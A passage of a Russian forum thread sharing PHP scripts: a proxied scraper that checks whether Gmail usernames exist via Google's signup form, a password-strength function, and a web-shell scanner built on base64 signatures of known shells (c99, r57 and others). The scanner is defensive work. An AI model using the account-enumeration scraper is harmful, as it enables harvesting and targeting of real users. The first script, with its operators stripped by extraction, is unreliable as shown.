$post_mask '/name="createaccount" action="(.*?)" method="post"/i';
    
$idkey_mask '/id="timeStmp"(.*?)value=\'(.*?)\'\/>/is';
    
$idkey_mask2 '/id="secTok"(.*?)value=\'(.*?)\'\/>/is';
    
$idkey_mask3 '/id="dsh" value="(.*?)"/i';
    
$error_mask '/<span class="errormsg" id="errormsg_0_GmailAddress">(.*?)</is';

    
$idkey_get get('https://accounts.google.com/SignUp'NULL$proxy$auth$timeout);

    if (
$idkey_get === false) {
        
$result = array('error'=>1'message'=>'Ошибка соединения');
        return 
$result;
    }

       
$res preg_match($idkey_mask$idkey_get$matches);
    if(!
$res) {
        
$result = array('error'=>12'message'=>'Ошибка при получении поля "name"');
        return 
$result;
    }
    
       
$res preg_match($idkey_mask2$idkey_get$matches2);
    if(!
$res) {
        
$result = array('error'=>12'message'=>'Ошибка при получении поля "secTok"');
        return 
$result;
    }

       
$res preg_match($idkey_mask3$idkey_get$matches3);
    if(!
$res) {
        
$result = array('error'=>12'message'=>'Ошибка при получении поля "dsh"');
        return 
$result;
    }         
    
       
$res preg_match($post_mask$idkey_get$matches4);
    if(!
$res) {
        
$result = array('error'=>12'message'=>'Ошибка при получении поля "action"');
        return 
$result;
    }

     
$post_url $matches4[1];
    
$idkey $matches[2];
    
$idkey2 $matches2[2];
    
$idkey3 $matches3[1];

    
$postdata = array(
        
"dsh"=>$idkey3,
        
"timeStmp"=>$idkey,
        
"secTok"=>$idkey2,
        
"GmailAddress"=>$username
    
);

    
$res post('https://accounts.google.com/' $post_url$postdataNULL$proxy$auth$timeout);

    if (
$res === false) {
        
$result = array('error'=>1'message'=>'Ошибка соединения');
        return 
$result;
    }

       
$res preg_match($error_mask$res$matches5);
    if(!
$res) {
        
$result = array('error'=>12'message'=>'Ошибка при получении поля "error"');
        return 
$result;
    }

    
$error_msg trim($matches5[1]);
    if (
$error_msg === "") {
        
$result = array('error'=>0'status'=>0'message'=>'Пользователь не найден');
        return 
$result;
    } elseif (
$error_msg == "Please use between 6 and 30 characters.") {
        
$result = array('error'=>2'message'=>'Указано неверное имя пользователя');
        return 
$result;
    } elseif (
$error_msg == "Please use only letters (a-z), numbers, and periods.") {
        
$result = array('error'=>2'message'=>'Указано неверное имя пользователя');
        return 
$result;
    } elseif (
$error_msg == "The first character of your username should be a letter (a-z) or number.") {
        
$result = array('error'=>2'message'=>'Указано неверное имя пользователя');
        return 
$result;
    } elseif (
$error_msg == "Someone already has that username. Try another?") {
        
$result = array('error'=>0'status'=>1'message'=>'Пользователь существует');
        return 
$result;
    } else {
        
$result = array('error'=>3'message'=>'Неизвестный ответ сервера');
        return 
$result;
    }

Добавлено через 14 минут 6 секунд


В дополнение:
По ссылке ниже – можно потестить несколько моих скриптов проверок email, из тех что я тут выкладывал. Оформлено в HTML страничку с AJAXом.
Только обязательно нужно указывать прокси-сервер (proxy.gegechkori.ru вам в помощь )

Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 5 очко(ов) репутации(ий)):
У вас нет прав чтобы видеть скрытый текст, содержащейся здесь.

Последний раз редактировалось staticspb; 18.11.2012 в 14:51.
staticspb вне форума   Ответить с цитированием
Старый 20.12.2012, 16:58   #44 (permalink)
***VIP*** Reverser
Proxy-Base.Org Team
 
Аватар для staticspb
 
Регистрация: 07.11.2012
Адрес: http://gegechkori.ru
Сообщений: 138
Member ID: 32077
ICQ 900002
Skype static.spb

Репутация: 1191
Репутация: 1191
Сказал(а) спасибо: 90
Поблагодарили 397 раз(а) в 101 сообщениях
По умолчанию Re: Полезные скрипты [Perl],[PHP],[Python]

Проверка пароля на сложность [PHP]

PHP код:
function getPasswordStrength($password) {
    if (
strlen($password) === false) {
        return 
0;
    }

    
$chars_lo 'abcdefghijklmnopqrstuvwxyz';
    
$chars_up 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    
$digits '0123456789';
    
$punctuation '~`!@#$%^&*()_-+=[]{}:;\'"\\|,.<>/?';    
    
$has_chars_lo false;    
    
$has_chars_up false;    
    
$has_digits false;
    
$has_punctuation false;
    
$has_something_else false;
    
$value 0;

    for(
$i=0;$i<strlen($password);$i++) {
        if(
strpos($chars_lo$password[$i]) !== false) {
            
$has_chars_lo true;
        } elseif(
strpos($chars_up$password[$i]) !== false) {
            
$has_chars_up true;
        } elseif(
strpos($digits$password[$i]) !== false) {
            
$has_digits true;
        } elseif(
strpos($punctuation$password[$i]) !== false) {
            
$has_punctuation true;
        } else {
            
$has_something_else true;
        }
    }

    for(
$i=0;$i<strlen($password);$i++) {
        if(
strpos($chars_lo$password[$i]) !== false) {
            if (
$has_chars_up == true) { $value += 0.25; }
            if (
$has_digits == true) { $value += 0.25; }
            if (
$has_punctuation == true) { $value += 0.25;    }
            if (
$has_something_else == true) { $value += 0.25; }
            
$value += 0.5;
        } elseif(
strpos($chars_up$password[$i]) !== false) {
            if (
$has_chars_lo == true) { $value += 0.25; }
            if (
$has_digits == true) { $value += 0.25; }
            if (
$has_punctuation == true) { $value += 0.25; }
            if (
$has_something_else == true) { $value += 0.25; }
            
$value += 0.5;
        } elseif(
strpos($digits$password[$i]) !== false) {
            if (
$has_chars_up == true) { $value += 0.25; }
            if (
$has_chars_lo == true) { $value += 0.25; }
            if (
$has_punctuation == true) { $value += 0.25;    }
            if (
$has_something_else == true) { $value += 0.25; }
            
$value += 0.5;
        } elseif(
strpos($punctuation$password[$i]) !== false) {
            if (
$has_chars_up == true) { $value += 0.25; }
            if (
$has_chars_lo == true) { $value += 0.25; }
            if (
$has_digits == true) { $value += 0.25; }
            if (
$has_something_else == true) { $value += 0.25; }
            
$value += 0.5
        } else {
            if (
$has_chars_up == true) { $value += 0.25; }
            if (
$has_chars_lo == true) { $value += 0.25; }
            if (
$has_digits == true) { $value += 0.25; }
            if (
$has_punctuation == true) {    $value += 0.25; }
            
$value += 0.5;
        }
        
        if(
$i>0) {
            if(((
$password[$i-1] - $password[$i]) == 1) || (($password[$i] - $password[$i-1]) == 1)) {
                
$value -= 0.25;
            }
        }
    }

    for(
$i=0;$i<strlen($password);$i++) {
        
$value += $i/3;
    }
    
    
$value round($value / (strlen($password)*2), 2);
    return 
$value;

Часто использую в своих проектах, под разные нужды

Функция принимает пароль, и выдает число: пароли от 1 и выше можно считать достаточно сильными. Учитываются разные параметры, включая состав символов, их последовательность и длину пароля. В общем, чем число выше – тем лучше

Для примера:
PHP код:
echo getPasswordStrength('012345');
Результат0.56

echo getPasswordStrength('013252');
Результат0.63

echo getPasswordStrength('a012345');
Результат0.79

echo getPasswordStrength('aZ!13252');
Результат1.18

echo getPasswordStrength('hEll0Wo$ld:');
Результат1.46

echo getPasswordStrength('z$f>yK"#c4&I,<8t[NK$NM');
Результат2.38 
staticspb вне форума   Ответить с цитированием
Старый 03.01.2013, 14:49   #45 (permalink)
VPN
 
Аватар для neofit
 
Регистрация: 28.12.2010
Адрес: о. Байкал
Сообщений: 522
Member ID: 10942
ICQ 900787
Jabber neofit@proxy-base.ru

Репутация: 1366
Репутация: 1366
Сказал(а) спасибо: 626
Поблагодарили 470 раз(а) в 183 сообщениях
По умолчанию Re: Полезные скрипты [Perl],[PHP],[Python]

Неплахой серверный сканер шелов... Забыл))) Заливаем в корень сайта обзываем
например hunter.php --> переходим по ссылки http://mysite.loc/hunter.php и ждём результата работы.

Код:
<?php

 

/**

  * @author Subzero 

  *

  * CHANGELOG

  * 	[v1.1] Upgrade, added various Shell in database By gabry9191

  * 	[v2.1] Accommodation and speed code By KinG-InFeT

  *

  * @copyright 2007 - 2010 - 2011

*/

 

@set_time_limit( 0 );

 

//Variabili

define("__VERSION__", "2.1");

 

$ip       = $_SERVER['REMOTE_ADDR'];

$serverip = $_SERVER['SERVER_ADDR'];

 

//informazioni varie

$agent           = $_SERVER['HTTP_USER_AGENT'];

$host            = $_SERVER['HTTP_HOST'];

$serversoft      = $_SERVER['SERVER_SOFTWARE'];

$shelldirectory  = $_SERVER['DOCUMENT_ROOT'];

$check_safe_mode = (ini_get('safe_mode') == 0) ? "OFF" : "ON";

 

//classe per il template

class page_template {

 

	public function print_table_head( $file ) {

		print '<table width="50%">';print "\n";

		print '<tr><td>';print "\n";

		print $file;print "\n";

		print '</td></tr>';print "\n";

	}

 

	public function print_table_content( $cnt ) {

		print '<tr><td>';print "\n";

 

		if( strlen( $cnt ) > 0 )

			print '<span>'.$cnt.'</span>'."\n";

		else

			print 'Niente da segnalare'."\n";

 

		print '</td></tr>';print "\n";

	}

 

	public function print_table_foot( ) {

		print '</table><br />';print "\n";

	}

 

	public function print_header( ) {

		print '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"';print "\n";

		print '"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">';print "\n";

		print '<html>';print "\n";

		print '<head>';print "\n";

		print '<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>';print "\n";

		print '<title>Shell Scanner v'.__VERSION__.'</title>';print "\n";

		print '</head>';print "\n";

		print '<body><br /><center>';print "\n";

	}

 

	public function print_footer( ) {

		print '</body>';print "\n";

		print '</html>';

	}

}//end class

 

function parse_dir( $dir ) {

        global $shell_definitions;

        global $generic;

        global $settings;

        global $tpl;

 

        $dh = dir( $dir );

 

        while( $entry = $dh -> read( ) )

        {

            if( $entry == '.' ||

                $entry == '..' ||

                @filesize( $dir . '/' . $entry ) > $settings[ 'SIZE_LIMIT' ] ||

                $entry === basename( $_SERVER[ 'PHP_SELF' ] ) )

                continue;

 

            if( @is_dir( $dir . '/' . $entry ) )

                $dirs[] = $dir . '/' . $entry;

 

            if( @filesize( $dir . '/' . $entry ) > 0 )

            {

                $h   = fopen( $dir . '/' . $entry, 'r' );

                $cnt = fread( $h, @filesize( $dir . '/' . $entry ) );

                fclose( $h );

 

                if( $settings[ 'USE_DEFINITIONS' ] )

                {

                    for( $i = 0; $i < count( $shell_definitions ); $i++ )

                    {

                        foreach( $shell_definitions[ $i ] as $key => $el )

                        {

                            if( $key == 'id' )

                            {

                                $id = $el;

                                continue;

                            }

                            if( strpos( strtolower( $cnt ), strtolower( base64_decode( $el ) ) ) !== FALSE )

                            {

								$site = $dir . '/' . $entry;                                

								@$shfound .= 'Probabile shell [' . $id . ']: <b> <a href='.$site.' target="_blank">' . $dir . '/' . $entry . '</a></b><br />';

                                $end = true;

                                break;

                            }

                        }

                        if( @$end )

                        {

                            $end = false;

                            break;

                        }

                    }

                }

                else

                    if( strpos( strtolower( $cnt ), $generic ) !== FALSE )

                        $shfound .= 'Probabile shell [generica]: <b>' . $dir . '/' . $entry . '</b><br />';

            }

        }

        $dh -> close( );

 

        if( strlen( @$shfound ) > 0 )

        {

            $lol = $_SERVER['SERVER_NAME'];

            $tpl -> print_table_head( '<b>Directory: ' .$dir . '</b>' );

            $tpl -> print_table_content( $shfound );

            $tpl -> print_table_foot( );

        }

 

        if( count( @$dirs ) <= 0 ) return;

 

        foreach( $dirs as $dir )

            parse_dir( $dir );

    }

 

//Informazioni

print "[<b>Server Ip</b>:]". $serverip;

print "<br />[<b>Host</b>:]". $host;

print "<br />[<b>Ip Utente</b>:]". $ip;

print "<br />[<b>Browser</b>:]". $agent;

print "<br />[<b>Software Server</b>:]". $serversoft;

print "<br />[<b>Shell Directory</b>:]". $shelldirectory;

print "<br />[<b>Safe Mode</b>:]". $check_safe_mode;

 

 

print "<br /><hr /><br />";

 

$settings = array (

        'BASE_DIR' => '.',

        'USE_DEFINITIONS' => true,

        'SIZE_LIMIT' => ( 1024 * 1024 ) //size limit set to 1mb

    );

 

$shell_definitions = array (

        array( 'id' => 'eval', 'def1' => 'PSRfR0VUWyc=', 'def2' => 'ZXZhbCg=' ),

		array( 'id' => 'Database', 'def1' => 'cGhwTXlBZG1pbiBTUUwgRHVtcA==', 'def2' => 'cGhwQkIgQmFja3VwIFNjcmlwdA==', 'def3' => 'VkFMVUVTKCIxIiwi' ),

		array( 'id' => 'Ciro1992Shell', 'def1' => 'JHRleHRbMV0gPSAifCBTYWZlIG1vZGUgPSAiOw0KJHRleHRbMl0gPSAiT24iOw0KJHRleHRbM10gPSAiT2ZmIjsNCiR0ZXh0WzRdID0gIk1hZ2ljcyBRdW90ZXMgPSAiOw0KJHRleHRbNV0gPSAiIHwgIjsNCiR0ZXh0WzZdID0gIk15U3FsID0gIjsNCiR0ZXh0WzddID0gIkhkZCBMaWJlcm8gOiAi', 'def2' => 'JHRleHRbMzZdID0gIi46Oi4gUG93ZXJlZCBieSBDaXJvMTk5MiAtIEJsYWNrIE1pbGl0aWEgVGVhbQ==' ),

		array( 'id' => 'Ka_uShell', 'def1' => 'PHRpdGxlPktBX3VTaGVsbCAwLjEuNjwvdGl0bGU+', 'def2' => 'Ly8gTWVudQ0KZWNobyAiDQp8PGEgaHJlZj0kc2VsZj9hYz1zaGVsbD5TaGVsbDwvYT58DQp8PGEgaHJlZj0kc2VsZj9hYz11cGxvYWQ+RmlsZSBVcGxvYWQ8L2E+fA0KfDxhIGhyZWY9JHNlbGY/YWM9dG9vbHM+VG9vbHM8L2E+fA0KfDxhIGhyZWY9JHNlbGY/YWM9ZXZhbD5QSFAgRXZhbCBDb2RlPC9hPnwNCnw8YSBocmVmPSRzZWxmP2FjPXdob2lzPldob2lzPC9hPnwNCjxicj48YnI+PGJyPjxwcmU+Ijs=' ),

        array( 'id' => 'DxShell', 'def1' => 'aWYgKGhlYWRlcnNfc2VudCgpKSAkRFhHTE9CQUxTSElUPXRydWU7IGVsc2UgJERYR0xPQkFMU0hJVD1GQUxTRTs=', 'def2' => 'aWYgKCEoJGRpcl9wdHI9b3BlbmRpcigkX0dFVFsnZHhkaXInXSkpKSBkaWUoRHhFcnJvcignVW5hYmxlIHRvIG9wZW4gZGlyIGZvciByZWFkaW5nLiBQZXJtcz8uLi4nKSk7' ),

        array( 'id' => 'Crystal', 'def1' => 'aWYgKCRhY3QgPT0gImFib3V0Iikge2VjaG8gIjxjZW50ZXI+PGI+Q29kaW5nIGJ5Ojxicj48YnI+U3VwZXItQ3J5c3RhbDxicj4mPGJyPk1vaGFqZXIyMjxicj4tLS0tLTxicj5UaGFua3MgPGJyPlRyWWFHIFRlYW0gPGJyPiBBcmFiU2VjdXJpdHlDZW50ZXIgVGVhbSA8YnI+Q1JZU1RBTC1IIFZlcnNpb246MCBCZXRhIHBocHNoZWxsIGNvZGU8YnI+U2F1ZGkgQXJhYmljICA8L2E+LjwvYj4iO30=', 'def2' => 'aWYoZW1wdHkoJF9QT1NUWydNb2hhamVyMjInXSkpew==' ),

        array( 'id' => 'Antichat', 'def1' => 'PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvY3VtZW50LnJlcXMuYWN0aW9uLnZhbHVlPSdzaGVsbCc7IGRvY3VtZW50LnJlcXMuc3VibWl0KCk7Ij58IFNoZWxsIDwvYT48L3RkPg==', 'def2' => 'PHRhYmxlIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+' ),

        array( 'id' => 'Arabic', 'def1' => 'dHJ5YWcucGhwIC0gaHR0cDovL3dXdy50cnlhZy5jT20=', 'def2' => 'ZXhpdCgiPGI+PGEgaHJlZj1odHRwOi8vd1d3LnRyeWFnLmNPbT50cnlhZy10ZWFtPC9hPg==' ),

        array( 'id' => 'ZipShell', 'def1' => 'WmlwU2hlbGwgVjEuMSBQcml2YXRlIEVkaXRvbiBbR1JFWS1IQVQtSEFDS0lOR10=', 'def2' => 'JHRoaXMtPl9fZXJyb3IoJ2NyZWF0aW9uJywnVW5rbm93biBtZXRob2Q6IDx1PicuJHR5cGUuJzwvdT4uIFVzZSBjb25zdGFudHMgPGI+U1pJUF9EVU1QPC9iPiBvcg==' ),

        array( 'id' => 's101', 'def1' => 'ZWNobyAiRWxlbmNvIGNhbXBpIHByZXNlbnRpIG5lbGxhIFRhYmVsbGE6PGI+ICR0YWI8L2I+IDxicj4iOw==', 'def2' => 'czEwMSBJbnRlcmFtZW50ZSBjcmVhdGEgZGEgU29yYTEwMQ==' ),

        array( 'id' => '0-Day_Script', 'def1' => 'PGhlYWQ+PHRpdGxlPlBvd2VyZWQgQnkgI1NjYW4tWDwvdGl0bGU+PC9oZWFkPg==', 'def2' => 'PGhlYUJ5IFRoaXMgc2NyaXB0IHlvdSBjYW4ganVtcCBpbiB0aGUgKFNhZmUgTW9kZT1PTik=' ),

        array( 'id' => 'nefastica', 'def1' => 'TjNmYTV0MWNBIFNoM2xs', 'def2' => 'ZnVuY3Rpb24gaXNfb3duZXIoKXsNCiRjb29raWUgPSAkX0NPT0tJRVsnY29va2llX25hbWUnXTs=' ),

        array( 'id' => 'k0tw', 'def1' => 'UDBzdCBNM3RoMGQgcDB3NGgh', 'def2' => 'ISEtIFdoMTczIGg0NyByMHggLSEh', 'def3' => 'azB0dyBzaDNsbCBieSBLaU5nT2ZUaEV3T3JMZA==' ),

        array( 'id' => 'dc3', 'def1' => 'U2hlbGwgd3JpdHRlbiBieSBCbDBvZDNy', 'def2' => 'IlIwbEdPRGxoRkFBVUFMTUlBQUQvQUFDQUFJQUFBTURBd0g5L2YvOEFBUC8vL3dBQUFQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLiANCiJBQUFBQUNINUJBRUFBQWdBTEFBQUFBQVVBQlFBQUFST0VNbEpxNzA0VXlHT3ZrTGhmVlU0a3BPSlNweDVuRjlZaUN0TGYwU3VIN3B1Ii4gDQoiRVlPZ2NCZ2t3QWlHcEhLWnpCMkp4QURBU1FGQ2lkUUpzTWZkR3FzREpuT1FsWFRQMzhwcnpXYlgzcWdJQURzPSIsIA0KImV4dF93cmkiPT4gDQoiUjBsR09EbGhFQUFRQURNQUFDSDVCQUVBQUFnQUxBQUFBQUFRQUJBQWcvLy8vd0FBQUlDQWdNREF3SUNBQUFBQWdBQUEvLy8vQUFBQSIuIA0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJSVU1oSmtiMEM2SzJIdUVpUmNkc0FmS0V4a2tEZ0JvVnhzdHdBQXlwZHVvYW8iLiANCiJhNFNYVDBjNEJGMHJVaEZBRUFRUUk5ZG1lYlJFVzh5WEM2TngyUUk3THJZYnRwSlpOc3hnelc2bkxkcTQ5aElCQURzPSIsIA0KInNtYWxsX2RpciI9Pg==' ),

        array( 'id' => 'Backdoor', 'def1' => 'PGEgaHJlZj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTsgPz4/ZGlyPSI+', 'def2' => 'c2lyaXVzX2JsYWNr' ),  

        array( 'id' => 'n3tShell', 'def1' => 'TjN0c2hleGl0KCk7', 'def2' => 'RW1wM3JvciBVbmRldGVjdGFibGU=' ),

        array( 'id' => 'Nexen', 'def1' => 'TmV4cGwwcmVyIFNoZWxs', 'def2' => 'aWYgKCRfUE9TVFsnbW9kZSddID09ICJ1cGxvYWR6Iikgew==' ),

        array( 'id' => '33rd', 'def1' => 'MzNyZCBTaGVsbA==', 'def2' => 'Ynk6Z3IzM24=' ),

        array( 'id' => 'c99', 'def1' => 'Yzk5c2g=', 'def2' => 'T0RoVDJDOU43YkJmYm5uRE50bXYwVURsdjVZRDltdmFHWEk4WFl4bg==' ),

        array( 'id' => 'r57-2', 'def1' => 'TUFYNjY2QGlyYW5zdGFycy5jb20=', 'def2' => 'QXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IGNvbG9yOm5hdnk7IGZvbnQtc2l6ZTogMTJweCB9DQoNCiAgICBib2R5IHsgZm9udC1zaXplOiAxMnB4OyANCg0KICAgICAgICAgICBmb250LWZhbWlseTogYXJpYWwsIGhlbHZldGljYTsNCg0KICAgICAgICAgICAgc2Nyb2xsYmFyLXdpZHRoOiA1Ow0KDQogICAgICAgICAgICBzY3JvbGxiYXItaGVpZ2h0OiA1Ow0KDQogICAgICAgICAgICBzY3JvbGxiYXItZmFjZS1jb2xvcjogd2hpdGU7DQoNCiAgICAgICAgICAgIHNjcm9sbGJhci1zaGFkb3ctY29sb3I6IHNpbHZlcjsNCg0KICAgICAgICAgICAgc2Nyb2xsYmFyLWhpZ2hsaWdodC1jb2xvcjogd2hpdGU7DQoNCiAgICAgICAgICAgIHNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOnNpbHZlcjsNCg0KICAgICAgICAgICAgc2Nyb2xsYmFyLWRhcmtzaGFkb3ctY29sb3I6IHNpbHZlcjsNCg0KICAgICAgICAgICAgc2Nyb2xsYmFyLXRyYWNrLWNvbG9yOiB3aGl0ZTsNCg0KICAgICAgICAgICAgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiBibGFjazsNCg0KICAgIH0=' ),

        array( 'id' => 'Uploader', 'def1' => 'JF9GSUxFU1snbWlvZmlsZSddWyd0bXBfbmFtZSddOw==', 'def2' => 'aWYgKG1vdmVfdXBsb2FkZWRfZmlsZSg=' ),

        array( 'id' => 'Cod3rz', 'def1' => 'PHRkPjxiPkZpbGUgTmFtZTo8L2I+PC90ZD48dGQ+PGI+VHlwZTo8L2I+PC90ZD48dGQgd2lkdGg9MTUlPjxiPlNpemU6PC9iPjwvdGQ+PHRkIHdpZHRoPTEwJT48Yj5QZXJtczo8L2I+PC90ZD4kbGlzdGY8L2ZvbnQ+', 'def2' => 'RGV2aWxzIE5pZ2h0IENyZXc=', 'def3' => 'LSBDb2Qzcno8L3RpdGxlPg==' ),

        array( 'id' => 'r57', 'def1' => 'cjU3c2g=', 'def2' => 'SXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZw==' ),

        array( 'id' => 'Fire-Crash', 'def1' => 'PHRpdGxlPkZpUmUtQ3JBc0g8L3RpdGxlPg==', 'def2' => 'JGRpciA9ICIuIjsNCiRvcGVuID0gb3BlbmRpcigkZGlyKTsNCiRyZWFkID0gcmVhZGRpcigkb3Blbik7DQplY2hvICJMaXN0IEZpbGVzOiA8YnI+PGJyIjsNCndoaWxlICgkcmVhZCA9IHJlYWRkaXIoJG9wZW4pKQ0Kew0KZWNobyAiPGEgaHJlZj0kcmVhZD4kcmVhZDwvYT48YnI+Ijs=' ),

        array( 'id' => 'Root Shell', 'def1' => 'Um9vdFNo', 'def2' => 'PHA+PGZvbnQgZmFjZT0iV2ViZGluZ3MiIHNpemU9IjYiIGNvbG9yPSIjMDBGRjAwIj4hPC9mb250Pjxicj4=' ),

        array( 'id' => 'Fatal_Shell', 'def1' => 'RmFUYUwgU2hlbGw=', 'def2' => 'RmFUYUxTaGVMTA==' ),

        array( 'id' => 'KA-uShell', 'def1' => 'S0FfdVNoZWxs', 'def2' => 'QXV0aG9yOiBLQWRvdA==' ),

        array( 'id' => 'GFS Shell', 'def1' => 'R0ZTIFdlYi1TaGVsbA==', 'def2' => 'STJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzUnlhVzVuTG1nK0RRb2phVzVqYkhWa1o=', 'def3' => 'WENJN0RRb05Dbk4xWWlCd2NtVm1hWGdnZXcwS0lHMTVJQ1J1YjNjZ1BTQnNiMk5oYkhScGI=' ),

        array( 'id' => 'Defacing Tool Pro', 'def1' => 'cjN2M25nNG5zIDpQ', 'def2' => 'RFRvb2wgUHJv' ),

        array( 'id' => 'Private Arabic Shell', 'def1' => 'aHR0cDovL3dXdy50cnlhZy5jT20=', 'def2' => 'dHJ5YWdAdHJ5YWcuY29t', 'def3' => '0JfQsdCe0L3Ql9Ch0JfQmg==' ),

        array( 'id' => 'Bk-Code Shell', 'def1' => 'QmstQ29kZSBzaGVsbA==', 'def2' => 'QXJhYi1TZWNyZXRzLVRlYW0=' ),

        array( 'id' => 'SnIpEr_SA Shell', 'def1' => 'U25JcEVyX1NB', 'def2' => 'M2FzZmgubmU=' ),

        array( 'id' => 'Fileman', 'def1' => 'RmlsM21hbg==' ),

		array( 'id' => 'Ajax/PHP Command Shell', 'def1' => 'PGJyPg0KPGI+PGZvbnQgc2l6ZT0zPkFqYXgvUEhQIENvbW1hbmQgU2hlbGw8L2I+PC9mb250Pjxicj5ieSBJcm9uZmlzdA0KPGJyPg0K', 'def2' => 'ICAgIGFqYXhSZXF1ZXN0Lm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uKCl7DQogICAgICAgIGlmKGFqYXhSZXF1ZXN0LnJlYWR5U3RhdGUgPT0gNCl7DQogICAgICAgIG91dHB1dGNtZCA9ICI8cHJlPiIgICsgb3V0cHV0Y21kICsgYWpheFJlcXVlc3QucmVzcG9uc2VUZXh0ICsiPC9wcmU+IjsNCg0K' ),

		array( 'id' => 'Anti Chat', 'def1' => 'JHBhc3N3b3JkPSdyMDB0JzsNCiRhdXRoPTE7DQokdmVyc2lvbj0ndmVyc2lvbiAxLjMgYnkgR3JpbmF5JzsNCg0KDQo=', 'def2' => 'ZWNobyAiPC90YWJsZT4iOw0KfX19DQoNCmlmKCRhY3Rpb249PSJ2aWV3ZXIiKXsNCnNjYW5kaXJlKCRkaXIpOw0KfQ0KLy9lbmQgdmlld2VyIEZTDQoNCg0KDQo=' ),

		array( 'id' => 'Ayyildiz Tim  | AYT | Shell v 2.1 Biz', 'def1' => 'PHRpdGxlPkhBQ0tFRCBCWSBBWVlJTERJWiCZPC90aXRsZT4NCjxTVFlMRSBUWVBFPSJ0ZXh0L2NzcyI+DQo8IS0tDQoNCmJvZHkgeyANCnNjcm9sbGJhci0zZC1saWdodC1jb2xvciA6ICM0MDQwNDA7DQoNCg0KDQo=', 'def2' => 'PGNlbnRlcj48Zm9udCBjb2xvcj0icmVkIiBzaXplPSIxMCIgZmFjZT0iSW1wcmludCBNVCBTaGFkb3ciPg0KIDwvZm9udD4NCg==' ),

		array( 'id' => 'azrail 1.0 by C-W-M', 'def1' => 'aWYgKCRvcD09J3BocGluZm8nKXsNCiRmb25rX2thcCA9IGdldF9jZmdfdmFyKCJmb25rc2l5b25sYXL9X2thcGF0Iik7DQogICAgICAgIGVjaG8gJHBocGluZm89KCFlcmVnaSgicGhwaW5mbyIsJGZvbmtfa2FwYXQpKSA/IHBocGluZm8oKSA6ICI8Y2VudGVyPnBocGluZm8oKSBLb211dHUgx2Fs/f5t/XlpaWk8L2NlbnRlcj4iOw0KICAgICAgICBleGl0Ow0KfQ0K', 'def2' => 'ICAgICAgPGhlYWQ+DQogICAgICAgICAgICAgPHRpdGxlPmF6cmFpbCAxLjAgYnkgQy1XLU08L3RpdGxlPg0KICAgICAgPC9oZWFkPg0KDQo=' ),

	    array( 'id' => 'Ajax/PHP Command Shell', 'def1' => 'PGJyPg0KPGI+PGZvbnQgc2l6ZT0zPkFqYXgvUEhQIENvbW1hbmQgU2hlbGw8L2I+PC9mb250Pjxicj5ieSBJcm9uZmlzdA0KPGJyPg0K', 'def2' => 'ICAgIGFqYXhSZXF1ZXN0Lm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uKCl7DQogICAgICAgIGlmKGFqYXhSZXF1ZXN0LnJlYWR5U3RhdGUgPT0gNCl7DQogICAgICAgIG91dHB1dGNtZCA9ICI8cHJlPiIgICsgb3V0cHV0Y21kICsgYWpheFJlcXVlc3QucmVzcG9uc2VUZXh0ICsiPC9wcmU+IjsNCg0K' ),

		array( 'id' => 'Backup script on server', 'def1' => 'JGZ0cGNvbm5lY3QgPSAibmNmdHBwdXQgLXUgJGZ0cF91c2VyX25hbWUgLXAgJGZ0cF91c2VyX3Bhc3MgLWQgZGVic2VuZGVyX2Z0cGxvZy5sb2cgLWUgZGJzZW5kZXJfZnRwbG9nMi5sb2cgLWEgLUUgLVYgJGZ0cF9zZXJ2ZXIgJGZ0cF9wYXRoICRmaWxlbmFtZTIiOw0Kc2hlbGxfZXhlYygkZnRwY29ubmVjdCk7DQo=', 'def2' => 'JG1lc3NhZ2UgPSAiVGhpcyBpcyBhIG11bHRpLXBhcnQgbWVzc2FnZSBpbiBNSU1FIGZvcm1hdC5cblxuIi4iLS17JG1pbWVfYm91bmRhcnl9XG4iIC4iQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PVwiaXNvLTg4NTktMVwiXG4iIC4iQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogN2JpdFxuXG4iIC4=' ),

        array( 'id' => 'rgod shell', 'def1' => 'ZUp6c3ZXMlBxa3IzTi9oK2t2a084KzUvSi85a0FxaDliWk5KSm8wQ2lvSk5RUlZTYnlZb25rWXBsTjF0Ky9UcFo2MnF3c2JkdmEvSGM5K1pTVQ==', 'def2' => 'LS0gRG8gbm90IERpc3RpYnV0ZSBUaGlzIHNoZWxsDQotLSBEbyBub3QgU2VsbCBUaGlzIHNoZWxsDQotLSBEbyBub3QgZ2l2ZSBpdCBldmVuIHRvIHlvdXIgbW90aGVyDQotLSBieSByZ29kIA==' ),

